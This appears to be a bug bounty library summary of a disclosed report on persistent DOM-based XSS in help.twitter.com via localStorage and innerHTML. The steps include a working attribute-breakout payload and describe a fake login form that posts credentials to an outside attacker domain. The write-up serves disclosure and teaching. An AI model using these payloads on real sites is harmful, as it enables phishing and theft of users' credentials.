# Persistent DOM-based XSS in https://help.twitter.com via localStorage

help.twitter.com stored location.href in localStorage and injected it unencoded into breadcrumb innerHTML, letting a crafted URL persist HTML/JS XSS on the homepage.

- Payout: hidden
- Severity: medium
- Program: X / xAI
- Found by: harisec
- Disclosed: 2018-02-24
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/297968
- Library page: https://bugbountylibrary.com/r/h1%3A297968
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:medium technique:second-order technique:source-review vuln:xss

**Target:** help.twitter.com homepage breadcrumb renderer (homepage.js)
**Root cause:** homepage.js saves location.href to localStorage key lastArticleHref and later concatenates it into an anchor href string assigned to breadcrumbElement.innerHTML without HTML encoding, so a fragment payload breaks out of the attribute.
**Steps:**
1. Visit `https://help.twitter.com/en/using-twitter/follow-requests#"><svg/onload=alert(1)>` so homepage.js stores the full URL (including fragment) in localStorage lastArticleHref.
2. Navigate to `https://help.twitter.com/`.
3. homepage.js reads lastArticleHref and builds `<a ... href="` + lastArticleHref + `">` then assigns to breadcrumbElement.innerHTML, breaking out of the href attribute and executing the injected markup.
4. For credential theft, use the longer payload with `#"></a></div>...<form action=https://bugs.thx.bz/just>` to render a fake login form that posts credentials to the attacker domain.
**How found:** Noticed homepage.js persists location.href and breadcrumbs to localStorage and later re-renders them into innerHTML; hypothesized the href value was concatenated unencoded and tested by appending an attribute-breaking fragment to an article URL, then revisiting the homepage.
**Exploitation:** Attacker sends victim a crafted help.twitter.com article URL whose fragment contains an HTML payload; the page persists it to localStorage. When the victim later loads the help.twitter.com homepage, the unencoded value is written via innerHTML, rendering attacker HTML (fake login form posting to bugs.thx.bz) or executing JS in the help.twitter.com origin. CSP prevented direct script execution in Chrome, so the demonstrated Chrome impact was a phishing form; IE11 achieved JS execution.
**Insight:** When a site persists location.href (including the fragment) to localStorage and later re-renders it, the fragment is attacker-controlled and survives navigation — test attribute-breakout payloads like `"><svg/onload=...>` on the second page load, not just reflected contexts.

